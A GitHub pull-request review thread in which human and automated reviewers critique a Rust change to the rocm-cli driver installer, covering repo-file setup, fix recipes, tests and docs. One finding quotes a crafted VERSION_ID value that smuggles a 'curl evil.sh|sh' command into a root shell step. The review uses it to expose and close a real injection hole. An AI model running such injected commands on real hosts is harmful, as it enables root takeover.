• --dkms enables the same DKMS build that this diagnosis says failed against the unsupported kernel, so retrying it without changing the kernel repeats the failure rather than providing a risky fallback. Remove this alternative and require moving to a supported kernel before reinstalling.

        rationale: "ROCm is installed but your kernel/distro combination is outside the supported matrix. Match the kernel to the matrix before reinstalling, or rerun `rocm install driver --dkms` and accept the risk.",

crates/rocm-core/src/fix.rs:293

• In the half-configured DKMS state this recipe targets, dpkg --configure -a commonly fails while retrying the broken package. Because the steps are chained with &&, that prevents the purge command from ever running, so the recipe cannot clear the state. Reorder the recovery around removing the broken package or explicitly handle the expected configure failure.

            "sudo dpkg --configure -a && sudo apt-get install -f && sudo apt-get purge -y amdgpu-dkms   # Debian/Ubuntu",

crates/rocm-core/src/diagnose.rs:505

• This suggests rerunning the DKMS installation after diagnosing that DKMS failed on an unsupported kernel. Without changing the kernel, the command retries the same failing operation; direct the user to install a supported kernel before reinstalling instead.

This issue also appears in the following locations of the same file:

• line 754
• line 1054
• line 1080

            "# kernel that matches ROCm, or rerun `rocm install driver --dkms`.".to_owned(),

[fredespi]

I went through this diff (976cc15...14d717f, 5 files, +473/-103) and didn't find anything I'd hold the merge for. Recording what I checked, since a fair bit of it was the kind of thing that's easy to get wrong in a change like this.

The removal is actually complete. amdgpu-install appears 32 times on the base commit and zero times at this head — no stale references left in the diagnosis text, fix recipes, or examine markers. The install-method values that changed (amdgpu-install → repo-native, tarball-or-other → runfile-or-tarball) have no consumers outside the three files you touched, so nothing is left keyed on the old strings.

The apt plan doesn't leave a dangling keyring reference. The new sources.list.d/amdgpu.list entry uses signed-by=/etc/apt/keyrings/rocm.gpg, and the plan does create that keyring (install -m 0755 -d /etc/apt/keyrings, then the curl | gpg --dearmor) two commands earlier, in the same Prepare phase. Ordering is right.

fix-12's verify string matches the real output. It greps for "rocm_install_method": "repo-native" with a space after the colon, and rocm examine --json goes through serde_json::to_string_pretty with snake_case field names, so that grep will actually hit.

The dnf/zypper paths are a security improvement, not just a refactor. Dropping zypper --no-gpg-checks in favour of writing a repo file with gpgcheck=1 plus an explicit rpm --import is a real tightening of the old behaviour.

One thing I looked at and decided isn't blocking, but you may want to know about: repo_pkg_family can return "pacman", since it falls back to openmpi::resolve_package_manager, which recognises arch/manjaro/endeavouros/arcolinux. Neither match in check_12_repo_native_broken has a pacman arm, so such a host would get the "Clear the half-configured package/DKMS state first." comment with no command under it, and then sudo apt update as the refresh step. In practice I don't think you can get there: reaching fix-12 needs the dpkg-flavoured keywords to clear a score of 50, and the repo-native +20 bonus needs one of the apt/yum/zypp marker files, which an Arch host won't have. So it reads as unreachable dead ground rather than a bug — worth a cheap _ => {}-side guard only if you'd rather not leave the shape there.

Note this reflects a diff read only, not CI results or a real install on any of these distros — it isn't an approval. CI is fully green on 14d717f and all three earlier review threads are resolved, so from a code-review standpoint this looks safe to approve after whatever final validation you want.

[fredespi]

Follow-up on my earlier comment: the one thing I couldn't settle by reading the diff was whether the new repo.radeon.com/amdgpu/... paths actually exist, since the tests only assert the URL is built correctly, not that it resolves. I've now checked every URL this code can generate, and they all resolve:

Path (under repo.radeon.com/amdgpu/latest/)	Result
ubuntu/dists/jammy, ubuntu/dists/noble	200 — covers Ubuntu 22.04/24.04 and Debian 12/13
rhel/9.4, rhel/9.6, rhel/9.7, rhel/8, rhel/10	200
el/9.4, el/9.6, el/9.7, el/8, el/10	200 — Oracle, Rocky, and ID_LIKE-matched rebuilds
sle/15.7	200
rocm/rocm.gpg.key (the key the plans import)	200
ubuntu/dists/resolute	404

Two things worth noting about how those map. dnf_repo_version_path sends any 10.x to the major path (rhel/10/, not rhel/10.0/) and 8.10 to 8/, which is what AMD publishes — I checked the wrong paths first and got 404s before spotting that the code was right. Likewise the SLES arm only ever matches 15.7, which is the only version published under sle/.

The resolute 404 confirms the Ubuntu 26.04 TODO is describing reality rather than guessing, and it makes the design choice there look correct: planning zero repo commands and pointing at sudo apt install rocm is right, because writing a sources entry for a suite that doesn't exist would break apt update on every subsequent run for that user.

That closes the only open question I had. From a review standpoint I think this is ready to approve — the removal is complete, the repo paths are real, the keyring is created before it's referenced, gpg checking is now enforced where it previously wasn't, and CI is green on 14d717f. The remaining call is a maintainer's: 14d717f (Ubuntu 26.04) landed after the last human pass, so someone may want eyes on that commit specifically before pressing approve.

[rominf]

fredespi's sweep covers the removal itself well and I agree with it — the removal is complete, the keyring is created before it's referenced, and the dnf/zypper gpg tightening is a real improvement over the base rather than just a port. Two things it didn't reach, both in the fix recipes this PR rewrote.

1. crates/rocm-core/src/fix.rs:293 — the recipe can't do what it exists to do

sudo dpkg --configure -a && sudo apt-get install -f && sudo apt-get purge -y amdgpu-dkms   # Debian/Ubuntu

dpkg --configure -a is precisely what fails when a package is recorded half-configured — the condition check_12 fires on. The && short-circuits, so apt-get install -f and the purge never run, and the following rocm install driver --dkms --yes then hits the same broken state. print_recipe prints each commands entry verbatim as one $ line, so this is exactly what a user copies and pastes.

The dynamic twin gets this right — crates/rocm-core/src/diagnose.rs:1094-1097 pushes the three as separate commands. This is twin drift on the exact fix id this PR rewrote, and it defeats the recipe's own stated rationale ("Clear the broken package state").

2. apps/rocm/src/main.rs:2715 — a mutating command in the checks list

checks: vec!["rocm examine", "sudo apt install rocm", "rocminfo"]

checks renders under the post_reboot_checks: header. Every other arm populates it with read-only probes only — rocm examine, dkms status amdgpu, /sys/module/amdgpu, /dev/kfd, /dev/dri/renderD*. This arm presents an install action as a verification step, and duplicates guidance already carried in reason. The surface is exposed to the assistant through the restricted driver_plan tool, where AGENTS.md §7 requires inspecting state before proposing mutation, so a mutating command inside a checks list is the wrong shape for that boundary.

The accompanying test asserts only rendered.contains("sudo apt install rocm"), which the reason prose already satisfies on its own, so it doesn't pin the placement either way.

Suggestion: split the Ubuntu 26.04 commit out

14d717f is new-distro support landing as the newest commit in an otherwise mechanical removal, after every review round had closed. fredespi's URL check confirms resolute 404s, so the design choice there looks right — but as its own PR it can be reviewed, revised or reverted without holding up the removal, which is otherwise ready.

Non-blocking — carried over from earlier rounds and still live

• diagnose.rs:755 still emits the bare rocm install driver, the form this PR's own test message calls "a non-mutating preflight no-op". It's a commented hint rather than a runnable command, so it's milder than the above — but a user who uncomments it gets a no-op. Its neighbours are still apt-hardcoded (:753 sudo apt update, :761 verify) despite repo_pkg_family now living in the same file.
• fix-3 verify twin drift: head -n 20 (diagnose.rs:510) vs head -n 5 (fix.rs:119).
• repo_native_broken_does_not_fire_on_non_repo_native_installs_without_symptom uses an empty symptom, which forces kw_score = 0 regardless of install method, so the gate its name describes is never exercised. The meaningful sibling added alongside it doesn't fix this one.
• The --no-dkms → --dkms translation inverted the advice. The base text said to rerun with --no-dkms (skip the DKMS build); head advises performing the build that check_3 just diagnosed as out-of-matrix. There's no faithful translation available, but the current text recommends the operation most likely to fail — and fix.rs:109 adds "and accept the risk" while diagnose.rs:505 doesn't.
• check_12 scores only against KEYWORDS_DPKG_BROKEN, so a dnf or zypper transaction failure yields score <= 0 and returns zero(...). The remediation was made package-manager-agnostic in this PR, but the trigger is still Debian-only, so the new dnf/zypper branches can essentially never execute.
• Legacy installs made by the standalone amdgpu-install tool write the same amdgpu.list/amdgpu.repo paths, so they now report repo-native — indistinguishable from a rocm-cli-managed host, where the old value was accurate for both writers. Issue #180's "clear message pointing to supported methods" criterion has no counterpart in the tree. Partly moot for the CLI-args angle, since this was never a user-selectable value, so the gap is detection-and-guidance for existing installs rather than argument handling.

One structural note: fifteen fix ids now have hand-maintained diagnose.rs/fix.rs counterparts with no cross-file test, and this round produced two more drifts despite three prior reviews explicitly hunting for them. A single parity test over the id set, command shape and verify strings would be cheap and would have caught both.

[siloteemu]

🔴 Automated review · pr-review-watcher · f971974

Summary

Replaces amdgpu-install as a driver install method with direct package-manager repo-file writing (apt/dnf/zypper), renames the rocm_install_method values (amdgpu-install→repo-native, tarball-or-other→runfile-or-tarball), rewrites the fix-12 recipe, and adds a non-mutating Ubuntu 26.04 plan. Needs work. Verified: the migration story is genuinely clean on the state side — rocm_install_method is recomputed from disk markers on every run and is never persisted (DriverInstallState at apps/rocm/src/main.rs:2859 has no policy/method field), the marker set is unchanged so an amdgpu-install-managed host is simply relabelled rather than newly mis-detected, and a repo-wide grep finds zero surviving references to amdgpu-install/amdgpu_install/tarball-or-other anywhere (code, docs, skills, tests, CI); the new Fix.verify grep works because examine --json uses serde_json::to_string_pretty (apps/rocm/src/main.rs:2185). On reversion: most new assertions do fail on revert, but two do not (details below), and a previously-reported finding still holds — diagnose(&e, "") short-circuits in keyword_score before the install-method gate. I could not attribute the 2 red checks (no GitHub access from this sandbox); cargo test -p rocm-core --lib passes locally 322/322, but the branch is 32 commits behind main and git merge-tree HEAD origin/main reports a real content conflict in apps/rocm/src/main.rs, so a rebase is required regardless and the reds should not be assumed unrelated. Blocking: 4 · Non-blocking: 5.

🚫 Blocking (must fix before merge)

• apps/rocm/src/main.rs:2971-2975 — dead branch, plus the test named for it proves nothing. codename is fully resolved before the match at main.rs:2950-2953, whose third fallback is codename_for_version(...) — which this same PR taught to return Some("resolute") for 26.04 (main.rs:3626). So by the time the ("ubuntu","26.04") arm runs, codename can never be empty, and the inner let codename = if codename.is_empty() { "resolute" } else { codename }; is unreachable. driver_plan_ubuntu_2604_falls_back_to_resolute_codename (main.rs:24093-24101) asserts only plan.codename == "resolute", so it passes with that branch deleted and with the entire 26.04 arm reverted (the unsupported-plan fallback at main.rs:3055-3067 carries the same pre-computed codename). Fix: delete the shadowing let codename = … inside the arm, and have the test also assert plan.policy == "ubuntu_native_archive" so it actually pins the arm.

• crates/rocm-core/src/diagnose.rs:532 and crates/rocm-core/src/fix.rs:109 — fix-3 guidance is reversed by the removal. check-3 fires precisely on "DKMS failed against an unsupported kernel" (diagnose.rs:509-520). The old advice was to rerun with --no-dkms — i.e. skip the module build. The new text says "rerun rocm install driver --dkms", telling the user to retry the exact operation the diagnosis says just failed, and fix.rs:109 still ends "…and accept the risk", which only parsed under the old sense. This is not a like-for-like command rename: rocm install driver has no non-DKMS install path — the plan is mutating: dkms (main.rs:3235, 3330, 3425), so without --dkms it is preview-only. The removal deleted the non-DKMS capability and left the guidance pointing at its opposite. Nothing tests fix-3 or fix-7 text. Fix: stop recommending --dkms here; say rocm-cli offers no non-DKMS driver install and route the user to matching the kernel to the support matrix (or the distro-native stack), and add an assertion over the fix-3 command text.

• crates/rocm-core/src/diagnose.rs:2079-2084 — the earlier finding still holds; this test is vacuous. repo_native_broken_does_not_fire_on_non_repo_native_installs_without_symptom calls diagnose(&e, ""). keyword_score returns (0, vec![]) immediately for an empty symptom (diagnose.rs:291-293), so check_12 hits if score <= 0 { return zero(...) } (diagnose.rs:1117) before rocm_install_method is ever consulted. It passes if the production change is reverted, and passes even if check_12 is removed from CHECKERS entirely (the all(|d| d.id != …) is vacuously true when the id never appears). Fix: pass a dpkg symptom and assert the evidence line "installed via the repo-native package-manager flow" is absent (and, for a positive control, present when the method is repo-native) — that is the gate the name claims. Related: in repo_native_broken_fires_on_dpkg_symptom_regardless_of_install_method (diagnose.rs:2102-2107), !evidence.contains("repo-native") also passes under the old code, where evidence could only ever say "amdgpu-install"; it needs the same treatment.

• No e2e scenario for a user-observable change — AGENTS.md §3. This PR changes what a user observes from rocm examine (install-method values), rocm install driver on Ubuntu 26.04 (new plan, new reason/checks output), and rocm diagnose/rocm fix (fix-12 command set and verify string), yet no file under tests/e2e-cucumber/features/ is added or changed. §3 is explicit that a unit test "does NOT discharge this", and requires either a new scenario or the PR text naming the existing @id: (and the lane, if gated). Caveat stated plainly: I could not read the PR body from this sandbox, so if it already names an existing scenario id, treat this item as discharged.

Non-blocking

• Branch is 32 commits behind main and conflicts with it in apps/rocm/src/main.rs (verified via git merge-tree); rebase before re-running CI, and re-check the 2 reds afterwards rather than dismissing them.
• apps/rocm/src/main.rs:2909 — ROCM_CLI_AMDGPU_DRIVER_VERSION (renamed from ROCM_CLI_AMDGPU_VERSION) appears nowhere in README.md, docs/, or help text, and ROCM_CLI_AMDGPU_PACKAGE_RELEASE is gone with no replacement; anyone who set the old variable is now silently ignored.
• apps/rocm/src/main.rs:2909-2916 — a value rejected by the [A-Za-z0-9._-] filter falls back to latest with no warning; a typo'd override is indistinguishable from not setting it.
• apps/rocm/src/main.rs:24411-24438 — the env-mutating test hand-rolls save/restore instead of using the repo's existing ScopedEnvVar RAII guard (main.rs:16752-16778); a panic between set and restore leaks the variable to the rest of the test binary.
• crates/rocm-core/src/diagnose.rs:782 — fix-7 still suggests bare rocm install driver, which this PR's own fix-12 commit correctly identified as a non-mutating preflight no-op; the same --dkms --yes treatment (or a note that it is preview-only) should apply here.

[jussielo-amd]

Review — blocking findings

Reviewed at head e007d4e5.

Blocking

1. Shell injection via unsanitized VERSION_ID — apps/rocm/src/driver_install.rs:1289
   This PR adds character allow-listing for repo_version_expr and codename, but version_id (parsed verbatim from /etc/os-release's VERSION_ID, no allow-list) is interpolated into the same single-quoted printf/tee repo-file commands, and into the unquoted SUSEConnect command (~lines 1365–1376) with no quoting at all.
   Failure scenario: a crafted or corrupted /etc/os-release with VERSION_ID="15.7'; curl evil.sh|sh #" lets rocm install driver --dkms --yes execute attacker-controlled shell as root on RHEL/Oracle/Rocky/SLES — the same injection class this PR fixed for the other two fields, just missed here.

2. Fix-12 recommends apt/dpkg commands on non-apt hosts — crates/rocm-core/src/diagnose.rs:1414
repo_pkg_family() coerces any unresolved/non-apt/dnf/zypper family (e.g. Arch/pacman) to the literal "apt" before check_12_repo_native_broken's two match family blocks see it.
   Failure scenario: on an Arch host, if keyword-matching alone clears MIN_SCORE_FOR_MATCH (this PR's own test repo_native_broken_fires_on_dpkg_symptom_regardless_of_install_method shows this is possible), fix-12 fires and recommends sudo dpkg --configure -a / sudo apt-get purge / sudo apt update — none of which exist there.

3. Env-var override validation runs before platform routing — apps/rocm/src/driver_install.rs:818
   The new ROCM_CLI_AMDGPU_DRIVER_VERSION validation (with its invalid_driver_version_override early return) runs before the Windows check (844) and WSL check (860), even though neither of those plans consults that variable.
   Failure scenario: a user with a stale/malformed ROCM_CLI_AMDGPU_DRIVER_VERSION (e.g. inherited from a Linux dotfile) running rocm install driver on Windows or WSL gets a confusing refusal about a variable their actual plan path never uses, instead of the normal Windows/WSL plan.

4. Commits not under a real employer identity (AGENTS.md §2)
   git log origin/main..HEAD --format="%an <%ae> | %cn <%ce>" shows all 8 commits committed, and the last two also authored, as test <test@example.com> rather than a real identity.

5. No verified commit signatures (AGENTS.md §2)
   git log origin/main..HEAD --format="%G?" reports E (no/invalid signature) for all 8 commits. The commit-signatures CI gate should currently be red for this PR.

Non-blocking (simplification / duplication)

• driver_install.rs:823 and ~878 — the identical char-allowlist closure (is_ascii_alphanumeric() || "._-".contains(c)) is hand-copied for two different untrusted inputs. A shared is_safe_shell_token() helper would prevent the two copies from silently diverging — which is also how finding #1 happened: a third input (version_id) was never run through either copy.
• driver_install.rs:826 — the invalid-override early return inlines a full 12-field DriverInstallPlan struct literal instead of reusing the small-helper pattern already established by wsl_rocdxg_refusal_plan (line 647), which this new code's own comment cites as precedent.
• driver_install.rs:1467 vs 1478 — dnf_repo_baseurl and sles_repo_baseurl build the same URL shape, with the SLES version just hardcoding repo_family = "sle". Could collapse to one repo_baseurl(repo_version_expr, family, path).
• driver_install.rs:912 — the Ubuntu 26.04 arm is a one-off hardcoded special case (its own comment admits the next release needs its own hand-rolled arm). A general "repo not yet published for this release" detection would cover future releases without a dedicated PR each time.
• diagnose.rs:1416 / 1442 — check_12_repo_native_broken switches on family in two independent match blocks (clear-state commands, refresh command) with nothing tying them together; a future family addition to one and not the other fails silently. Collapsing to one match family -> (clear_commands, refresh_command) would make that impossible.

Addressed in 595c80a: sanitized VERSION_ID with the same shell-token allowlist as the version override/codename (via a shared is_safe_shell_token() helper, which also removes the duplicated closures you flagged), fixed repo_pkg_family() to return "unknown" instead of defaulting to "apt" on unresolved package managers (and gave fix-12's second match block explicit per-family arms instead of an apt-catch-all), and moved the Windows/WSL early-return checks ahead of the env-var override validation so that path never consults it. Also fixed the local git identity that was causing the wrong author/unverified signatures (a stale local user.name/user.email/signingkey override was shadowing the correct global config) -- this and future commits on the branch are now correctly attributed and verifiable; the two already-pushed prior commits are left as-is since rewriting pushed history on a reviewed PR needs explicit sign-off rather than unilateral action.

[jussielo-amd]

Review — needs work

Re-review at head 83e70c1f following up on my earlier review of this PR at e007d4e5 (that review was auto-dismissed when the head advanced, as expected). All 5 blocking findings from that round are now resolved: VERSION_ID is now allow-listed before reaching any shell command, the env-var override validation was reordered to run after the Windows/WSL routing checks, every commit now carries a real employer identity, and every commit has a valid signature + DCO sign-off. Good progress — this round is a fresh pass over the current diff (2844d797..83e70c1f), not a re-litigation of the old one.

Blocking

1. This PR's base predates an already-merged sibling PR that rewrote the exact code this PR also rewrites, and the new code duplicates a parsing bug that sibling PR fixed — crates/rocm-core/src/examine.rs:747-750, apps/rocm/src/driver_install.rs:874-898
origin/main already contains 313a640a ("fix: read /etc/os-release with one parser that matches sh (#544)", merged the same day as this review), which rewrites probe_os in examine.rs at the identical hunk location to delegate to a new rocm_core::os_release::parse() module — built specifically because the old ad-hoc per-field readers disagreed on single-quoted values and duplicate keys. This PR adds a new ID_LIKE field (distro_id_like) to that same function using value.trim().trim_matches('"') — the exact single-quote-blind pattern #544's own commit message documents as buggy. driver_install.rs's build_driver_install_plan similarly continues relying on the pre-existing parse_os_release_field helper that #544 replaces at the identical call site on main. As a visible symptom, both PRs independently added a scenario titled examine-20 to examine.feature (different @id: tags, so not a silent collision, but still needs renumbering). The CONFLICTING mergeable state is this, not noise.
   Fix: rebase onto current main, then decide whether the new VERSION_ID/ID_LIKE/codename reads and this PR's is_safe_shell_token validation should be rebuilt on top of rocm_core::os_release::parse() rather than the now-superseded ad-hoc readers; renumber the new scenario past whatever #544 landed up to.

2. A test's own docstring and assertion message claim a cross-file drift guarantee the test does not provide — crates/rocm-core/src/fix.rs:3225-3252 (fix_12_apt_commands_match_the_diagnose_copy_verbatim)
   The comment says "Pin the three apt lines here so the two copies cannot drift the way they did before," and the assertion failure message says "diagnose.rs's apt family emits these three commands in this order" — but the test body only does RECIPES.iter().find(...) and compares against a hardcoded vec![...] literal. It never imports or reads crate::diagnose. If diagnose.rs's apt command list for check_12_repo_native_broken drifts from fix.rs's recipe tomorrow — the exact scenario this test claims to prevent — this test keeps passing.
   Fix: either import crate::diagnose::check_12_repo_native_broken's output and assert equality against it, or rewrite the docstring/message to stop claiming cross-file verification.

3. A doc comment directly contradicts its own function body, its own inline comment two lines later, and a dedicated test — crates/rocm-core/src/diagnose.rs:1344-1377 (repo_pkg_family)
   The outer /// doc says a pacman host "falls back to \"apt\" like any other unrecognized family." The code does .filter(|pm| matches!(pm, Apt|Dnf|Zypper)).map_or("unknown", ...), the inline comment right above it says "Both match family arms below treat this \"unknown\" sentinel the same," and repo_pkg_family_degrades_to_unknown_on_pacman_hosts asserts == "unknown". A maintainer trusting only the outer doc comment would believe pacman hosts get apt-flavored remediation, the opposite of what the code (correctly) does.
   Fix: correct the doc comment to say "unknown".

4. check_7_stale_repos is not package-manager-aware, and this diff's own new zypp detection newly lets a SLES host reach it and get apt-specific remediation — crates/rocm-core/src/diagnose.rs:1011-1054, crates/rocm-core/src/examine.rs:55-62,1957-1967
check_7_stale_repos unconditionally emits "ls /etc/apt/sources.list.d/ | grep ..." and "sudo apt update" regardless of which repo files triggered it (repos.len() >= 2). This diff adds /etc/zypp/repos.d/{amdgpu,rocm}.repo to REPO_NATIVE_INSTALL_MARKERS and a new /etc/zypp/repos.d scan feeding the same rocm_repos_seen list check_7 scores on — so a SLES host with ≥2 stale repo markers now reaches this check for the first time and is told to run apt/dpkg commands on a zypper system. The sibling check in this same commit, check_12_repo_native_broken, was made family-aware via the new repo_pkg_family() helper; check_7 wasn't given the same treatment despite this diff being exactly what newly exposes it to the zypper case.
   Fix: branch check_7's printed commands on repo_pkg_family(e) the same way check_12 now does.

5. New env vars, retired env vars, and a breaking examine --json schema rename are not reflected in README.md, docs/testing.md, or docs/manual-testing.md
   This diff retires ROCM_CLI_AMDGPU_VERSION/ROCM_CLI_AMDGPU_PACKAGE_RELEASE, adds ROCM_CLI_AMDGPU_DRIVER_VERSION, moves the default driver source from a pinned version to the floating latest alias, and renames two rocm_install_method enum values in examine --json — all genuine, user-observable behavior/flag/default changes. The PR body's own "Breaking change" section is a good durable record for reviewers, but it isn't in the three docs a user would actually look at.
   Fix: add a short note to README.md's driver-install section and to docs/testing.md / docs/manual-testing.md covering the new override var and the JSON rename.

6. No Gherkin/e2e scenario asserts the new apt/dnf/zypper repo-file-writing commands this diff produces — apps/rocm/src/driver_install.rs (apt_driver_plan/dnf_driver_plan/sles_driver_plan)
   The new examine-20 scenario only asserts the renamed rocm_install_method string; examine-12 only asserts repo_version is a non-placeholder string; driver_install.feature's existing scenarios are @requires-wsl-gated and cover only the ROCDXG path. The actual new behavior — writing a gpgcheck=1 repo file after rpm --import, the apt URL path moving from /graphics/ to /amdgpu/ — has unit coverage only.
   Fix: add (or extend driver-install.feature with) a non-WSL scenario asserting the written repo-file content / imported key for at least one of the apt/dnf/zypper paths.

7. New rejection behavior for a malformed VERSION_ID has zero test coverage — apps/rocm/src/driver_install.rs:883-888 (.filter(|v| is_safe_shell_token(v)) on version_id)
   Every other untrusted-value branch this diff introduces got an adversarial test (hostile codename, hostile env-var override) — the identical filter applied to version_id did not. Worth noting: tracing every call path shows version_id only ever reaches a shell command after already passing an exact-literal distro/version match elsewhere, so a hostile value likely can't currently reach a shell command regardless — but that's redundancy found by reading the code, not something a test demonstrates.
   Fix: add one test mirroring the existing hostile-codename test, with a malformed VERSION_ID.

Non-blocking

• No CI has actually run on this commit beyond the ReadTheDocs preview build — likely a consequence of finding #1's merge conflict, not a separate problem, but worth noting: none of the usual gates (tests/clippy/commit-signatures) have reported on 83e70c1f yet.
• fix-3-rocm-kernel's rationale names a command that isn't in its own commands list — crates/rocm-core/src/fix.rs:313-319. The rationale now says to rerun rocm install driver --dkms, but commands is unchanged (two URL comments + a generic hint), unlike fix-1 and this PR's own fix-12, where the rationale is backed by a literal command.
• A doc comment describes a resolution mechanism the code no longer uses — apps/rocm/src/driver_install.rs:466-468 says ROCM_CLI_AMDGPU_DRIVER_VERSION is validated "the same way" as something resolved via resolve_shell_default_template, but it's now read directly via std::env::var + is_safe_shell_token.

Decisions for the author (not blocking)

• Ubuntu 26.04's e2e coverage gap — already answered in the PR's own "Open questions": read_os_release() can't be overridden by the e2e harness, and the PR text argues the AGENTS.md §3 exception explicitly. No action needed here, just confirming it reads as intended.
• Pinned vs. floating driver default — the PR's own "Open questions" already asks for feedback on this; flagging only that it's a real tradeoff worth a second opinion from another reviewer, not something I'm taking a side on.
• fix-12's applies/verify semantics — the PR's own "Open questions" already discloses that verify checks a repo-marker-derived state rather than actual DKMS/dpkg state, and that applies over-fires via broad keyword matching. Nothing to add beyond what's already disclosed there.

Positive signals

• The core of this PR is a real security fix: VERSION_ID/VERSION_CODENAME/UBUNTU_CODENAME were previously interpolated unsanitized into shell commands (including unquoted directly on a SUSEConnect command line), and SLES disabled GPG verification outright. This replaces all of it with allow-listed values, safe static fallbacks, and (for dnf/zypper) a proper gpgcheck=1 repo file after importing AMD's key.
• fix-12's new verify step (rocm_install_method == "repo-native" via examine --json) is a strictly stronger check than the dpkg -l | grep proxy it replaces.

---

Full diff read file-by-file across 11 changed files (the 13-line main.rs hunk excepted — only the changed region and its enclosing function were read, not the full ~35k-line file). Not reconciled against this PR's other review threads/comments.

[jussielo-amd]

Review — needs work

Re-review at head 6e1a6f41 following up on my earlier review of this PR at 83e70c1f (that review was auto-dismissed when the head advanced, as expected). Good progress on that round's findings: the base now consolidates on rocm_core::os_release::parse() in both driver_install.rs and examine.rs (finding 1 resolved, examine-20's id collision is gone), fix-12's parity test now actually reads diagnose()'s output instead of a hardcoded literal (finding 2 — see residual gap below), and repo_pkg_family's doc comment now correctly says "unknown" (finding 3 resolved). Finding 4 (check_7_stale_repos not package-manager-aware) is only partially fixed — see Blocking #2 below, which is the same gap in a narrower form.

This round is a fresh pass over the full diff (f9a868a9..6e1a6f41), not a re-litigation of the old one.

Blocking

1. New e2e scenario driver-install-04 is currently failing on CI — a confirmed regression on this exact head commit — tests/e2e-cucumber/tests/e2e/driver_steps.rs (preview_driver_install_on_this_host), tests/e2e-cucumber/features/driver_install.feature (driver-install-04)
   The step invokes rocm install driver --dry-run with no --dkms. Every driver-plan builder (apps/rocm/src/driver_install.rs:1192,1301,1405) wraps its entire command list — repo setup, GPG-key import, and package install — in if dkms { ... }, so a dkms: false plan has zero commands (execution_commands: <none>). The following Then step asserts the apt repo-file/signing-key command text is present in that (empty) output and fails. CI run 38723671889 on this commit reports: "FAIL: 'driver-install-apt-repo-file-and-key-content' was expected to pass on this host but FAILED — a regression."
   Fix: have the step pass --dkms (keeping it a dry-run/review, not --yes) so the returned plan actually contains the commands being asserted.

2. check_7_stale_repos still silently prints apt-specific remediation on hosts with an unrecognized package manager — the fix from my last review only went half as far as check_12's — crates/rocm-core/src/diagnose.rs:1097-1100, 1108-1111, 1119-1122; static recipe crates/rocm-core/src/fix.rs:389
   My prior review flagged check_7 as not package-manager-aware at all. This round's commits correctly added dnf/zypper arms, but all three match family { "dnf" => .., "zypper" => .., _ => <apt command> } blocks still default an unrecognized/"unknown" family (e.g. pacman) to an apt command. Contrast check_12_repo_native_broken (diagnose.rs:1497-1525), which uses _ => {} (true no-op) for exactly this reason, and repo_pkg_family's own doc comment (diagnose.rs:1451: "Both match family arms below treat this unknown sentinel the same... no package-manager-specific command") — only true of check_12's arms. The final commit's message claims it makes check_7 "package-manager-aware... like check_12 already was" — it doesn't, for the unknown case. No test exercises an unknown/pacman family for check_7 (only stale_repos_on_a_sles_host_gets_zypper_commands_not_apt exists); a mutation reverting all three arms to hardcoded apt passes every existing test. The static fix-7-stale-repos recipe in fix.rs also still has no dnf/zypper variant or parity test, unlike fix-12's.
   Fix: give check_7's three arms the same explicit "apt"|"dnf"|"zypper" / _ => {} pattern as check_12, add a pacman/unknown-family regression test mirroring check_12's, and bring the fix.rs recipe + a parity test to match.

3. fix-3's --no-dkms escape hatch for an unsupported kernel/distro was removed with no replacement, and the loss isn't disclosed — apps/rocm/src/driver_install.rs:1192,1301,1405; crates/rocm-core/src/diagnose.rs:847; crates/rocm-core/src/fix.rs:316
   At base, fix-3 offered amdgpu-install --usecase=rocm,hip --no-dkms: install usable userspace ROCm tooling while skipping a risky DKMS build on an unmatched kernel. After this PR, "no DKMS" isn't an alternate install mode — a dkms: false plan is a fully empty preview (see #1 above), so there's no way left to get any ROCm software installed without a full DKMS build. The new guidance ("match the kernel to the matrix first, then rerun rocm install driver --dkms") just drops the alternative, and nothing in the PR description mentions this capability loss.
   Fix: restore an equivalent "userspace-only, skip DKMS" path, or explicitly document that no such option exists anymore.

4. Two comments still describe the old, removed apt/Debian repo host path — apps/rocm/src/driver_install.rs:1002, :2956
   This PR's own diff changes the Ubuntu/Debian apt source line from repo.radeon.com/graphics/{repo_version}/ubuntu to repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu (confirmed via diff and via driver_plan_debian_uses_intended_ubuntu_suite's own assertion). The new URL is correct and intentional, but both comments still say "graphics tree," describing the path this PR replaced.
   Fix: reword both comments to describe the current amdgpu tree.

5. check_7's new verify field is untested even for the one family this round does test — crates/rocm-core/src/diagnose.rs, test stale_repos_on_a_sles_host_gets_zypper_commands_not_apt
   The test only asserts fix.commands; it never reads fix.verify, which has its own separate match family arm (diagnose.rs:1119-1122). Mutating only the verify arm would pass unnoticed.
   Fix: extend the SLES test to also assert fix.verify contains "sudo zypper refresh".

Non-blocking

• Stale doc comment misdescribes how ROCM_CLI_AMDGPU_DRIVER_VERSION is resolved (driver_install.rs:466-468, ~584-589) — still claims it goes through resolve_shell_default_template; it's read directly via std::env::var and validated by is_safe_shell_token.
• fix-12's apt/diagnose parity test only compares 3 of 4 apt-family command lines (.take(3) on both sides in fix.rs) — the refresh line isn't compared, so drift there wouldn't be caught despite the test's stated purpose.
• repo_version_expr field name is now a misnomer (driver_install.rs:330+) — it holds a fully-resolved literal, not a shell expression, post-PR.
• Doc heading-level inconsistency: docs/manual-testing.md:234's new ## 2b. Bare-Metal Driver Install is a top-level heading continuing the 2a lettered-subsection convention, which is a level-3 heading nested under ## 2.

Decisions for the author

• Ubuntu 26.04 driver-install arm has no Gherkin/e2e scenario — answered-by-intent. PR's "Open questions": "read_os_release cannot be overridden by the e2e harness today, so the new 26.04 output path has only unit-level wording coverage, not an e2e scenario." Would otherwise be blocking (AGENTS.md §3); the in-code comment and PR text both disclose it accurately. Confirm this is still acceptable.
• Default driver version moves from pinned 7.2.4 to floating latest — tradeoff, already raised by the author in "Open questions." Worth a maintainer decision given it affects every user who doesn't set the new override.

Positive signals

• is_safe_shell_token sanitization is applied consistently at every host/env-derived shell-interpolation site (VERSION_ID, VERSION_CODENAME/UBUNTU_CODENAME, ROCM_CLI_AMDGPU_DRIVER_VERSION).
• check_12's handling of an unrecognized package-manager family is done correctly, with real regression tests — making the gap in check_7 (above) all the more avoidable.
• Replacing SLES's zypper --no-gpg-checks with real rpm --import + gpgcheck=1 is a genuine security hardening, not a regression.

Deployment notes

• Breaking change (self-disclosed): rocm examine --json's rocm_install_method renames "amdgpu-install"→"repo-native" and "tarball-or-other"→"runfile-or-tarball".
• Default driver source moves from pinned 7.2.4 to floating latest.
• The apt/Debian-Ubuntu repo host path changes from repo.radeon.com/graphics/... to repo.radeon.com/amdgpu/....

[rominf]

🔴 Automated review · pr-review-watcher · 6e1a6f4

This automation never files a GitHub approval, so no approving review will
